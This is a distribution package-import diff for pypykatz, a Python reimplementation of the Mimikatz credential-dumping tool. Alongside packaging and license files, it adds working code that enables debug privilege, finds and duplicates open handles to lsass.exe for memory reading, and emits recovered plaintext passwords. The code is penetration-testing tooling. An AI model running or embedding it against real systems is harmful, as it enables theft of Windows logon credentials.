Import upstream version 0.3.15+git20201116.f6f966a
Kali Janitor
3 years ago
0 | # Byte-compiled / optimized / DLL files | |
1 | __pycache__/ | |
2 | *.py[cod] | |
3 | *$py.class | |
4 | ||
5 | # C extensions | |
6 | *.so | |
7 | ||
8 | # Distribution / packaging | |
9 | .Python | |
10 | build/ | |
11 | develop-eggs/ | |
12 | dist/ | |
13 | downloads/ | |
14 | eggs/ | |
15 | .eggs/ | |
16 | lib/ | |
17 | lib64/ | |
18 | parts/ | |
19 | sdist/ | |
20 | var/ | |
21 | wheels/ | |
22 | *.egg-info/ | |
23 | .installed.cfg | |
24 | *.egg | |
25 | MANIFEST | |
26 | ||
27 | # PyInstaller | |
28 | # Usually these files are written by a python script from a template | |
29 | # before PyInstaller builds the exe, so as to inject date/other infos into it. | |
30 | *.manifest | |
31 | *.spec | |
32 | ||
33 | # Installer logs | |
34 | pip-log.txt | |
35 | pip-delete-this-directory.txt | |
36 | ||
37 | # Unit test / coverage reports | |
38 | htmlcov/ | |
39 | .tox/ | |
40 | .coverage | |
41 | .coverage.* | |
42 | .cache | |
43 | nosetests.xml | |
44 | coverage.xml | |
45 | *.cover | |
46 | .hypothesis/ | |
47 | .pytest_cache/ | |
48 | ||
49 | # Translations | |
50 | *.mo | |
51 | *.pot | |
52 | ||
53 | # Django stuff: | |
54 | *.log | |
55 | local_settings.py | |
56 | db.sqlite3 | |
57 | ||
58 | # Flask stuff: | |
59 | instance/ | |
60 | .webassets-cache | |
61 | ||
62 | # Scrapy stuff: | |
63 | .scrapy | |
64 | ||
65 | # Sphinx documentation | |
66 | docs/_build/ | |
67 | ||
68 | # PyBuilder | |
69 | target/ | |
70 | ||
71 | # Jupyter Notebook | |
72 | .ipynb_checkpoints | |
73 | ||
74 | # pyenv | |
75 | .python-version | |
76 | ||
77 | # celery beat schedule file | |
78 | celerybeat-schedule | |
79 | ||
80 | # SageMath parsed files | |
81 | *.sage.py | |
82 | ||
83 | # Environments | |
84 | .env | |
85 | .venv | |
86 | env/ | |
87 | venv/ | |
88 | ENV/ | |
89 | env.bak/ | |
90 | venv.bak/ | |
91 | ||
92 | # Spyder project settings | |
93 | .spyderproject | |
94 | .spyproject | |
95 | ||
96 | # Rope project settings | |
97 | .ropeproject | |
98 | ||
99 | # mkdocs documentation | |
100 | /site | |
101 | ||
102 | # mypy | |
103 | .mypy_cache/ | |
104 | *.reg |
0 | MIT License | |
1 | ||
2 | Copyright (c) 2018 | |
3 | ||
4 | Permission is hereby granted, free of charge, to any person obtaining a copy | |
5 | of this software and associated documentation files (the "Software"), to deal | |
6 | in the Software without restriction, including without limitation the rights | |
7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |
8 | copies of the Software, and to permit persons to whom the Software is | |
9 | furnished to do so, subject to the following conditions: | |
10 | ||
11 | The above copyright notice and this permission notice shall be included in all | |
12 | copies or substantial portions of the Software. | |
13 | ||
14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |
16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | |
17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | |
18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | |
19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE | |
20 | SOFTWARE. |
0 | include LICENSE README.md |
0 | clean: | |
1 | rm -f -r build/ | |
2 | rm -f -r dist/ | |
3 | rm -f -r *.egg-info | |
4 | find . -name '*.pyc' -exec rm -f {} + | |
5 | find . -name '*.pyo' -exec rm -f {} + | |
6 | find . -name '*~' -exec rm -f {} + | |
7 | ||
8 | publish: clean | |
9 | python3 setup.py sdist bdist_wheel | |
10 | python3 -m twine upload dist/* | |
11 | ||
12 | rebuild: clean | |
13 | python3 setup.py install | |
14 | ||
15 | build: | |
16 | python3 setup.py install⏎ |
0 | Metadata-Version: 1.2 | |
1 | Name: pypykatz | |
2 | Version: 0.3.7 | |
3 | Summary: Python implementation of Mimikatz | |
4 | Home-page: https://github.com/skelsec/pypykatz | |
5 | Author: Tamas Jos | |
6 | Author-email: [email protected] | |
7 | License: UNKNOWN | |
8 | Description: UNKNOWN | |
9 | Platform: UNKNOWN | |
10 | Classifier: Programming Language :: Python :: 3.6 | |
11 | Classifier: License :: OSI Approved :: MIT License | |
12 | Classifier: Operating System :: OS Independent | |
13 | Requires-Python: >=3.6 |
84 | 84 | |
85 | 85 | dpapi_minidump_group = dpapi_subparsers.add_parser('minidump', help='Dump masterkeys from minidump file') |
86 | 86 | dpapi_minidump_group.add_argument('minidumpfile', help='path to minidump file') |
87 | dpapi_minidump_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.') | |
88 | ||
87 | 89 | |
88 | 90 | dpapi_mastekey_group = dpapi_subparsers.add_parser('masterkey', help='Decrypt masterkey file') |
89 | 91 | dpapi_mastekey_group.add_argument('mkf', help='path to masterkey file') |
Binary diff not shown
0 | ||
1 | // https://blez.wordpress.com/2012/09/17/enumerating-opened-handles-from-a-process/ | |
2 | #ifndef UNICODE | |
3 | #define UNICODE | |
4 | #endif | |
5 | ||
6 | #include <windows.h> | |
7 | #include <stdio.h> | |
8 | ||
9 | #define NT_SUCCESS(x) ((x) >= 0) | |
10 | #define STATUS_INFO_LENGTH_MISMATCH 0xc0000004 | |
11 | ||
12 | #define SystemHandleInformation 16 | |
13 | #define ObjectBasicInformation 0 | |
14 | #define ObjectNameInformation 1 | |
15 | #define ObjectTypeInformation 2 | |
16 | ||
17 | typedef NTSTATUS (NTAPI *_NtQuerySystemInformation)( | |
18 | ULONG SystemInformationClass, | |
19 | PVOID SystemInformation, | |
20 | ULONG SystemInformationLength, | |
21 | PULONG ReturnLength | |
22 | ); | |
23 | typedef NTSTATUS (NTAPI *_NtDuplicateObject)( | |
24 | HANDLE SourceProcessHandle, | |
25 | HANDLE SourceHandle, | |
26 | HANDLE TargetProcessHandle, | |
27 | PHANDLE TargetHandle, | |
28 | ACCESS_MASK DesiredAccess, | |
29 | ULONG Attributes, | |
30 | ULONG Options | |
31 | ); | |
32 | typedef NTSTATUS (NTAPI *_NtQueryObject)( | |
33 | HANDLE ObjectHandle, | |
34 | ULONG ObjectInformationClass, | |
35 | PVOID ObjectInformation, | |
36 | ULONG ObjectInformationLength, | |
37 | PULONG ReturnLength | |
38 | ); | |
39 | ||
40 | typedef struct _UNICODE_STRING { | |
41 | USHORT Length; | |
42 | USHORT MaximumLength; | |
43 | PWSTR Buffer; | |
44 | } UNICODE_STRING, *PUNICODE_STRING; | |
45 | ||
46 | typedef struct _SYSTEM_HANDLE { | |
47 | ULONG ProcessId; | |
48 | BYTE ObjectTypeNumber; | |
49 | BYTE Flags; | |
50 | USHORT Handle; | |
51 | PVOID Object; | |
52 | ACCESS_MASK GrantedAccess; | |
53 | } SYSTEM_HANDLE, *PSYSTEM_HANDLE; | |
54 | ||
55 | typedef struct _SYSTEM_HANDLE_INFORMATION { | |
56 | ULONG HandleCount; | |
57 | SYSTEM_HANDLE Handles[1]; | |
58 | } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; | |
59 | ||
60 | typedef enum _POOL_TYPE { | |
61 | NonPagedPool, | |
62 | PagedPool, | |
63 | NonPagedPoolMustSucceed, | |
64 | DontUseThisType, | |
65 | NonPagedPoolCacheAligned, | |
66 | PagedPoolCacheAligned, | |
67 | NonPagedPoolCacheAlignedMustS | |
68 | } POOL_TYPE, *PPOOL_TYPE; | |
69 | ||
70 | typedef struct _OBJECT_TYPE_INFORMATION { | |
71 | UNICODE_STRING Name; | |
72 | ULONG TotalNumberOfObjects; | |
73 | ULONG TotalNumberOfHandles; | |
74 | ULONG TotalPagedPoolUsage; | |
75 | ULONG TotalNonPagedPoolUsage; | |
76 | ULONG TotalNamePoolUsage; | |
77 | ULONG TotalHandleTableUsage; | |
78 | ULONG HighWaterNumberOfObjects; | |
79 | ULONG HighWaterNumberOfHandles; | |
80 | ULONG HighWaterPagedPoolUsage; | |
81 | ULONG HighWaterNonPagedPoolUsage; | |
82 | ULONG HighWaterNamePoolUsage; | |
83 | ULONG HighWaterHandleTableUsage; | |
84 | ULONG InvalidAttributes; | |
85 | GENERIC_MAPPING GenericMapping; | |
86 | ULONG ValidAccess; | |
87 | BOOLEAN SecurityRequired; | |
88 | BOOLEAN MaintainHandleCount; | |
89 | USHORT MaintainTypeList; | |
90 | POOL_TYPE PoolType; | |
91 | ULONG PagedPoolUsage; | |
92 | ULONG NonPagedPoolUsage; | |
93 | } OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; | |
94 | ||
95 | PVOID GetLibraryProcAddress(PSTR LibraryName, PSTR ProcName) { | |
96 | return GetProcAddress(GetModuleHandleA(LibraryName), ProcName); | |
97 | } | |
98 | ||
99 | void ErrorExit(LPTSTR lpszFunction) { | |
100 | // Retrieve the system error message for the last-error code | |
101 | ||
102 | LPVOID lpMsgBuf; | |
103 | LPVOID lpDisplayBuf; | |
104 | DWORD dw = GetLastError(); | |
105 | ||
106 | FormatMessage( | |
107 | FORMAT_MESSAGE_ALLOCATE_BUFFER | | |
108 | FORMAT_MESSAGE_FROM_SYSTEM | | |
109 | FORMAT_MESSAGE_IGNORE_INSERTS, | |
110 | NULL, | |
111 | dw, | |
112 | MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), | |
113 | (LPTSTR) &lpMsgBuf, | |
114 | 0, NULL ); | |
115 | ||
116 | printf((LPTSTR) lpMsgBuf); | |
117 | ||
118 | LocalFree(lpMsgBuf); | |
119 | LocalFree(lpDisplayBuf); | |
120 | ExitProcess(dw); | |
121 | } | |
122 | ||
123 | void ShowErr() { | |
124 | CHAR errormsg[100]; | |
125 | FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), 0, errormsg, sizeof(errormsg), NULL); | |
126 | printf("ERROR: %s", errormsg); | |
127 | } | |
128 | ||
129 | int wmain(int argc, WCHAR *argv[]) { | |
130 | ||
131 | _NtQuerySystemInformation NtQuerySystemInformation = GetLibraryProcAddress("ntdll.dll", "NtQuerySystemInformation"); | |
132 | _NtDuplicateObject NtDuplicateObject = GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject"); | |
133 | _NtQueryObject NtQueryObject = GetLibraryProcAddress("ntdll.dll", "NtQueryObject"); | |
134 | ||
135 | NTSTATUS status; | |
136 | PSYSTEM_HANDLE_INFORMATION handleInfo; | |
137 | ULONG handleInfoSize = 0x10000; | |
138 | ULONG pid; | |
139 | HANDLE processHandle; | |
140 | ULONG i; | |
141 | ||
142 | if (argc < 2) { | |
143 | printf("Usage: handles [pid]\n"); | |
144 | return 1; | |
145 | } | |
146 | ||
147 | pid = _wtoi(argv[1]); | |
148 | ||
149 | if (!(processHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid))) { | |
150 | printf("Could not open PID %d! (Don't try to open a system process.)\n", pid); | |
151 | return 1; | |
152 | } | |
153 | ||
154 | handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize); | |
155 | ||
156 | // NtQuerySystemInformation won't give us the correct buffer size, | |
157 | // so we guess by doubling the buffer size. | |
158 | while ((status = NtQuerySystemInformation( | |
159 | SystemHandleInformation, | |
160 | handleInfo, | |
161 | handleInfoSize, | |
162 | NULL | |
163 | )) == STATUS_INFO_LENGTH_MISMATCH) | |
164 | handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2); | |
165 | ||
166 | // NtQuerySystemInformation stopped giving us STATUS_INFO_LENGTH_MISMATCH. | |
167 | if (!NT_SUCCESS(status)) { | |
168 | printf("NtQuerySystemInformation failed!\n"); | |
169 | return 1; | |
170 | } | |
171 | ||
172 | for (i = 0; i < handleInfo->HandleCount; i++) { | |
173 | SYSTEM_HANDLE handle = handleInfo->Handles[i]; | |
174 | HANDLE dupHandle = NULL; | |
175 | POBJECT_TYPE_INFORMATION objectTypeInfo; | |
176 | PVOID objectNameInfo; | |
177 | UNICODE_STRING objectName; | |
178 | ULONG returnLength; | |
179 | ||
180 | // Check if this handle belongs to the PID the user specified. | |
181 | if (handle.ProcessId != pid) | |
182 | continue; | |
183 | ||
184 | // Duplicate the handle so we can query it. | |
185 | if (!NT_SUCCESS(NtDuplicateObject( | |
186 | processHandle, | |
187 | (void*) handle.Handle, | |
188 | GetCurrentProcess(), | |
189 | &dupHandle, | |
190 | 0, | |
191 | 0, | |
192 | 0 | |
193 | ))) { | |
194 | ||
195 | printf("[%#x] Error!\n", handle.Handle); | |
196 | continue; | |
197 | } | |
198 | ||
199 | // Query the object type. | |
200 | objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000); | |
201 | if (!NT_SUCCESS(NtQueryObject( | |
202 | dupHandle, | |
203 | ObjectTypeInformation, | |
204 | objectTypeInfo, | |
205 | 0x1000, | |
206 | NULL | |
207 | ))) { | |
208 | ||
209 | printf("[%#x] Error!\n", handle.Handle); | |
210 | CloseHandle(dupHandle); | |
211 | continue; | |
212 | } | |
213 | ||
214 | // Query the object name (unless it has an access of | |
215 | // 0x0012019f, on which NtQueryObject could hang. | |
216 | if (handle.GrantedAccess == 0x0012019f) { | |
217 | ||
218 | // We have the type, so display that. | |
219 | printf( | |
220 | "[%#x] %.*S: (did not get name)\n", | |
221 | handle.Handle, | |
222 | objectTypeInfo->Name.Length / 2, | |
223 | objectTypeInfo->Name.Buffer | |
224 | ); | |
225 | ||
226 | free(objectTypeInfo); | |
227 | CloseHandle(dupHandle); | |
228 | continue; | |
229 | } | |
230 | ||
231 | objectNameInfo = malloc(0x1000); | |
232 | if (!NT_SUCCESS(NtQueryObject( | |
233 | dupHandle, | |
234 | ObjectNameInformation, | |
235 | objectNameInfo, | |
236 | 0x1000, | |
237 | &returnLength | |
238 | ))) { | |
239 | ||
240 | // Reallocate the buffer and try again. | |
241 | objectNameInfo = realloc(objectNameInfo, returnLength); | |
242 | if (!NT_SUCCESS(NtQueryObject( | |
243 | dupHandle, | |
244 | ObjectNameInformation, | |
245 | objectNameInfo, | |
246 | returnLength, | |
247 | NULL | |
248 | ))) { | |
249 | ||
250 | // We have the type name, so just display that. | |
251 | printf( | |
252 | "[%#x] %.*S: (could not get name)\n", | |
253 | handle.Handle, | |
254 | objectTypeInfo->Name.Length / 2, | |
255 | objectTypeInfo->Name.Buffer | |
256 | ); | |
257 | ||
258 | free(objectTypeInfo); | |
259 | free(objectNameInfo); | |
260 | CloseHandle(dupHandle); | |
261 | continue; | |
262 | } | |
263 | } | |
264 | ||
265 | // Cast our buffer into an UNICODE_STRING. | |
266 | objectName = *(PUNICODE_STRING)objectNameInfo; | |
267 | ||
268 | // Print the information! | |
269 | if (objectName.Length) | |
270 | { | |
271 | // The object has a name. | |
272 | printf( | |
273 | "[%#x] %.*S: %.*S\n", | |
274 | handle.Handle, | |
275 | objectTypeInfo->Name.Length / 2, | |
276 | objectTypeInfo->Name.Buffer, | |
277 | objectName.Length / 2, | |
278 | objectName.Buffer | |
279 | ); | |
280 | } | |
281 | else { | |
282 | // Print something else. | |
283 | printf( | |
284 | "[%#x] %.*S: (unnamed)\n", | |
285 | handle.Handle, | |
286 | objectTypeInfo->Name.Length / 2, | |
287 | objectTypeInfo->Name.Buffer | |
288 | ); | |
289 | } | |
290 | ||
291 | free(objectTypeInfo); | |
292 | free(objectNameInfo); | |
293 | CloseHandle(dupHandle); | |
294 | } | |
295 | ||
296 | free(handleInfo); | |
297 | CloseHandle(processHandle); | |
298 | ||
299 | return 0; | |
300 | } |
3 | 3 | import enum |
4 | 4 | import logging |
5 | 5 | |
6 | from .kernel32 import * | |
7 | from .psapi import * | |
6 | from pypykatz.commons.readers.local.common.kernel32 import * | |
7 | from pypykatz.commons.readers.local.common.psapi import * | |
8 | 8 | |
9 | 9 | class WindowsMinBuild(enum.Enum): |
10 | 10 | WIN_XP = 2500 |
49 | 49 | |
50 | 50 | PROCESS_QUERY_INFORMATION = 0x0400 |
51 | 51 | PROCESS_VM_READ = 0x0010 |
52 | MAXIMUM_ALLOWED = 33554432 | |
52 | 53 | |
53 | 54 | |
54 | 55 | #https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx |
74 | 75 | if pid_to_name[pid].lower().find('lsass.exe') != -1: |
75 | 76 | return pid |
76 | 77 | |
77 | raise Exception('Failed to find lsass.exe')⏎ | |
78 | raise Exception('Failed to find lsass.exe') | |
79 | ⏎ |
292 | 292 | |
293 | 293 | |
294 | 294 | class LiveReader: |
295 | def __init__(self): | |
295 | def __init__(self, lsass_process_handle = None): | |
296 | 296 | self.processor_architecture = None |
297 | 297 | self.lsass_process_name = 'lsass.exe' |
298 | self.lsass_process_handle = None | |
298 | self.lsass_process_handle = lsass_process_handle | |
299 | 299 | self.current_position = None |
300 | 300 | self.BuildNumber = None |
301 | 301 | self.modules = [] |
338 | 338 | buildnumber, t = winreg.QueryValueEx(key, 'CurrentBuildNumber') |
339 | 339 | self.BuildNumber = int(buildnumber) |
340 | 340 | |
341 | ||
342 | logging.log(1, 'Searching for lsass.exe') | |
343 | pid = get_lsass_pid() | |
344 | logging.log(1, 'Lsass.exe found at PID %d' % pid) | |
345 | logging.log(1, 'Opening lsass.exe') | |
346 | self.lsass_process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid) | |
347 | 341 | if self.lsass_process_handle is None: |
348 | raise Exception('Failed to open lsass.exe Reason: %s' % WinError(get_last_error())) | |
349 | ||
342 | logging.log(1, 'Searching for lsass.exe') | |
343 | pid = get_lsass_pid() | |
344 | logging.log(1, 'Lsass.exe found at PID %d' % pid) | |
345 | logging.log(1, 'Opening lsass.exe') | |
346 | self.lsass_process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid) | |
347 | if self.lsass_process_handle is None: | |
348 | raise Exception('Failed to open lsass.exe Reason: %s' % WinError(get_last_error())) | |
349 | else: | |
350 | logging.debug('Using pre-defined handle') | |
350 | 351 | logging.log(1, 'Enumerating modules') |
351 | 352 | module_handles = EnumProcessModules(self.lsass_process_handle) |
352 | 353 | for module_handle in module_handles: |
224 | 224 | t = cred.to_dict() |
225 | 225 | if t['credtype'] != 'dpapi': |
226 | 226 | if t['password'] is not None: |
227 | x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] | |
227 | x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password']), ''] | |
228 | 228 | yield 0, x |
229 | 229 | else: |
230 | 230 | t = cred.to_dict() |
205 | 205 | self.Data3 = WORD(reader).value |
206 | 206 | self.Data4 = reader.read(8) |
207 | 207 | self.value = '-'.join([ |
208 | hex(self.Data1)[2:], | |
209 | hex(self.Data2)[2:], | |
210 | hex(self.Data3)[2:], | |
211 | hex(int.from_bytes(self.Data4[:2], byteorder = 'big', signed = False))[2:], | |
212 | hex(int.from_bytes(self.Data4[2:], byteorder = 'big', signed = False))[2:] | |
208 | hex(self.Data1)[2:].zfill(8), | |
209 | hex(self.Data2)[2:].zfill(4), | |
210 | hex(self.Data3)[2:].zfill(4), | |
211 | hex(int.from_bytes(self.Data4[:2], byteorder = 'big', signed = False))[2:].zfill(4), | |
212 | hex(int.from_bytes(self.Data4[2:], byteorder = 'big', signed = False))[2:].zfill(12) | |
213 | 213 | ]) |
214 | 214 | |
215 | 215 | class PLIST_ENTRY(POINTER): |
221 | 221 | self.location = reader.tell() |
222 | 222 | self.Flink = PLIST_ENTRY(reader) |
223 | 223 | self.Blink = PLIST_ENTRY(reader) |
224 | ⏎ | |
224 |
702 | 702 | ("MaximumLength", USHORT), |
703 | 703 | ("Buffer", PVOID), |
704 | 704 | ] |
705 | ||
706 | def getString(self): | |
707 | return ctypes.string_at(self.Buffer, self.Length).decode('utf-16-le') | |
705 | 708 | |
706 | 709 | # From MSDN: |
707 | 710 | # |
64 | 64 | WRITE_WATCH_FLAG_RESET = 0x01 |
65 | 65 | FILE_MAP_ALL_ACCESS = 0xF001F |
66 | 66 | |
67 | PROCESS_DUP_HANDLE = 0x0040 | |
68 | ||
67 | 69 | class UserModeHandle (HANDLE): |
68 | 70 | """ |
69 | 71 | Base class for non-kernel handles. Generally this means they are closed |
341 | 343 | _GetCurrentProcessId.argtypes = [] |
342 | 344 | _GetCurrentProcessId.restype = DWORD |
343 | 345 | return _GetCurrentProcessId() |
346 | ||
347 | # HANDLE WINAPI GetCurrentProcess(void); | |
348 | def GetCurrentProcess(): | |
349 | ## return 0xFFFFFFFFFFFFFFFFL | |
350 | _GetCurrentProcess = windll.kernel32.GetCurrentProcess | |
351 | _GetCurrentProcess.argtypes = [] | |
352 | _GetCurrentProcess.restype = HANDLE | |
353 | return _GetCurrentProcess() | |
344 | 354 | |
345 | 355 | # BOOL WINAPI QueryFullProcessImageName( |
346 | 356 | # __in HANDLE hProcess, |
3 | 3 | import enum |
4 | 4 | import logging |
5 | 5 | |
6 | from pypykatz import logger | |
7 | from .ntdll import * | |
6 | 8 | from .kernel32 import * |
7 | 9 | from .psapi import * |
8 | 10 | |
74 | 76 | if pid_to_name[pid].lower().find('lsass.exe') != -1: |
75 | 77 | return pid |
76 | 78 | |
77 | raise Exception('Failed to find lsass.exe')⏎ | |
79 | raise Exception('Failed to find lsass.exe') | |
80 | ||
81 | def enum_lsass_handles(): | |
82 | #searches for open LSASS process handles in all processes | |
83 | # you should be having SE_DEBUG enabled at this point | |
84 | RtlAdjustPrivilege(20) | |
85 | ||
86 | lsass_handles = [] | |
87 | sysinfohandles = NtQuerySystemInformation(16) | |
88 | for pid in sysinfohandles: | |
89 | if pid == 4: | |
90 | continue | |
91 | #if pid != GetCurrentProcessId(): | |
92 | # continue | |
93 | for syshandle in sysinfohandles[pid]: | |
94 | #print(pid) | |
95 | try: | |
96 | pHandle = OpenProcess(PROCESS_DUP_HANDLE, False, pid) | |
97 | except Exception as e: | |
98 | logger.debug('Error opening process %s Reason: %s' % (pid, e)) | |
99 | continue | |
100 | ||
101 | try: | |
102 | dupHandle = NtDuplicateObject(pHandle, syshandle.Handle, GetCurrentProcess(), PROCESS_QUERY_INFORMATION|PROCESS_VM_READ) | |
103 | #print(dupHandle) | |
104 | except Exception as e: | |
105 | logger.debug('Failed to duplicate object! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle))) | |
106 | continue | |
107 | ||
108 | oinfo = NtQueryObject(dupHandle, ObjectTypeInformation) | |
109 | if oinfo.Name.getString() == 'Process': | |
110 | try: | |
111 | pname = QueryFullProcessImageNameW(dupHandle) | |
112 | if pname.lower().find('lsass.exe') != -1: | |
113 | logger.debug('Found open handle to lsass! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle))) | |
114 | #print('%s : %s' % (pid, pname)) | |
115 | lsass_handles.append((pid, dupHandle)) | |
116 | except Exception as e: | |
117 | logger.debug('Failed to obtain the path of the process! PID: %s' % pid) | |
118 | continue | |
119 | ||
120 | return lsass_handles | |
121 | ⏎ |
2 | 2 | from ctypes import windll |
3 | 3 | from ctypes.wintypes import ULONG, BOOL,LONG |
4 | 4 | |
5 | from .defines import * | |
5 | from pypykatz.commons.winapi.local.function_defs.defines import * | |
6 | ||
7 | SystemHandleInformation = 16 | |
8 | ObjectBasicInformation = 0 | |
9 | ObjectNameInformation = 1 | |
10 | ObjectTypeInformation = 2 | |
11 | ||
12 | ||
13 | POOL_TYPE = ctypes.c_int | |
14 | NonPagedPool = 1 | |
15 | PagedPool = 2 | |
16 | NonPagedPoolMustSucceed = 3 | |
17 | DontUseThisType = 4 | |
18 | NonPagedPoolCacheAligned = 5 | |
19 | PagedPoolCacheAligned = 6 | |
20 | NonPagedPoolCacheAlignedMustS = 7 | |
21 | ||
22 | # https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-generic_mapping | |
23 | class GENERIC_MAPPING(Structure): | |
24 | _fields_ = [ | |
25 | ("GenericRead", ACCESS_MASK ), | |
26 | ("GenericWrite", ACCESS_MASK ), | |
27 | ("GenericExecute", ACCESS_MASK ), | |
28 | ("GenericAll", ACCESS_MASK ), | |
29 | ] | |
30 | ||
31 | PGENERIC_MAPPING = POINTER(GENERIC_MAPPING) | |
32 | ||
33 | class SYSTEM_HANDLE(Structure): | |
34 | _fields_ = [ | |
35 | ("ProcessId", ULONG), | |
36 | ("ObjectTypeNumber", BYTE), | |
37 | ("Flags", BYTE), | |
38 | ("Handle", USHORT), | |
39 | ("Object", PVOID), | |
40 | ("GrantedAccess", ACCESS_MASK), | |
41 | ] | |
42 | ||
43 | PSYSTEM_HANDLE = POINTER(SYSTEM_HANDLE) | |
44 | ||
45 | #class SYSTEM_HANDLE_INFORMATION(Structure): | |
46 | # _fields_ = [ | |
47 | # ("HandleCount", ULONG), | |
48 | # ("Handles", SYSTEM_HANDLE), #not just one handle | |
49 | # ] | |
50 | # | |
51 | #PSYSTEM_HANDLE_INFORMATION = POINTER(SYSTEM_HANDLE_INFORMATION) | |
52 | ||
53 | class OBJECT_TYPE_INFORMATION(Structure): | |
54 | _fields_ = [ | |
55 | ("Name", UNICODE_STRING), | |
56 | ("TotalNumberOfObjects", ULONG), | |
57 | ("TotalNumberOfHandles", ULONG), | |
58 | ("TotalPagedPoolUsage", ULONG), | |
59 | ("TotalNonPagedPoolUsage", ULONG), | |
60 | ("TotalNamePoolUsage", ULONG), | |
61 | ("TotalHandleTableUsage", ULONG), | |
62 | ("HighWaterNumberOfObjects", ULONG), | |
63 | ("HighWaterNumberOfHandles", ULONG), | |
64 | ("HighWaterPagedPoolUsage", ULONG), | |
65 | ("HighWaterNonPagedPoolUsage", ULONG), | |
66 | ("HighWaterNamePoolUsage", ULONG), | |
67 | ("HighWaterHandleTableUsage", ULONG), | |
68 | ("GenericMapping", GENERIC_MAPPING), | |
69 | ("ValidAccess", ULONG), | |
70 | ("SecurityRequired", BOOLEAN), | |
71 | ("MaintainHandleCount", BOOLEAN), | |
72 | ("MaintainTypeList", USHORT), | |
73 | ("PoolType", POOL_TYPE), | |
74 | ("PagedPoolUsage", ULONG), | |
75 | ("NonPagedPoolUsage", ULONG), | |
76 | ] | |
77 | ||
78 | POBJECT_TYPE_INFORMATION = POINTER(OBJECT_TYPE_INFORMATION) | |
79 | ||
6 | 80 | |
7 | 81 | # https://source.winehq.org/WineAPI/RtlAdjustPrivilege.html |
8 | 82 | # BOOL WINAPI RtlAdjustPrivilege( |
27 | 101 | if status != 0: |
28 | 102 | raise Exception('Failed call to RtlAdjustPrivilege! Status: %s' % status) |
29 | 103 | |
30 | return Enabled.value⏎ | |
104 | return Enabled.value | |
105 | ||
106 | # https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation | |
107 | def NtQuerySystemInformation(info_type): | |
108 | _NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation | |
109 | _NtQuerySystemInformation.argtypes = [ULONG, PVOID, ULONG, PULONG] | |
110 | _NtQuerySystemInformation.restype = ULONG | |
111 | ||
112 | handleinfos = {} | |
113 | ||
114 | if info_type != 16: | |
115 | raise Exception('info_type only the value 16 is supported!') | |
116 | ||
117 | size = DWORD(0x10) | |
118 | data = ctypes.create_string_buffer(size.value) | |
119 | while True: | |
120 | #_NtQuerySystemInformation returns an incorrect expected size... | |
121 | size = DWORD(size.value*2) | |
122 | data = ctypes.create_string_buffer(size.value) | |
123 | status = _NtQuerySystemInformation(info_type, ctypes.byref(data), size, ctypes.byref(size)) | |
124 | if status == 0: | |
125 | break | |
126 | if status != 0xC0000004: | |
127 | raise Exception('NtQuerySystemInformation returned %s' % hex(status)) | |
128 | ||
129 | status = _NtQuerySystemInformation(info_type, ctypes.byref(data), size, ctypes.byref(size)) | |
130 | ||
131 | data_bytes = bytearray(data.raw[:size.value]) | |
132 | ||
133 | hc = ULONG.from_buffer(data_bytes) | |
134 | ||
135 | class SYSTEM_HANDLE_INFORMATION(Structure): | |
136 | _fields_ = [ | |
137 | ("HandleCount", ULONG), | |
138 | ("Handles", SYSTEM_HANDLE*hc.value), #not just one handle | |
139 | ] | |
140 | ||
141 | ||
142 | syshandleinfo = SYSTEM_HANDLE_INFORMATION.from_buffer(data_bytes) | |
143 | ||
144 | for i in range(syshandleinfo.HandleCount): | |
145 | if not syshandleinfo.Handles[i].ProcessId in handleinfos: | |
146 | handleinfos[syshandleinfo.Handles[i].ProcessId] = [] | |
147 | handleinfos[syshandleinfo.Handles[i].ProcessId].append(syshandleinfo.Handles[i]) | |
148 | ||
149 | return handleinfos | |
150 | ||
151 | ||
152 | def NtDuplicateObject(SourceProcessHandle, SourceHandle, TargetProcessHandle, DesiredAccess = 0): | |
153 | """ | |
154 | privilige_id: int | |
155 | """ | |
156 | _NtDuplicateObject = windll.ntdll.NtDuplicateObject | |
157 | _NtDuplicateObject.argtypes = [HANDLE, HANDLE, HANDLE, PHANDLE, ACCESS_MASK, ULONG, ULONG] | |
158 | _NtDuplicateObject.restype = ULONG | |
159 | ||
160 | ||
161 | ||
162 | oHandle = HANDLE() | |
163 | status = _NtDuplicateObject(SourceProcessHandle, SourceHandle, TargetProcessHandle, ctypes.byref(oHandle), DesiredAccess,0,0) | |
164 | if status != 0: | |
165 | raise Exception('Failed call to NtDuplicateObject! Status: %s' % status) | |
166 | ||
167 | return oHandle | |
168 | ||
169 | def NtQueryObject(ObjectHandle, ObjectInformationClass): | |
170 | """ | |
171 | privilige_id: int | |
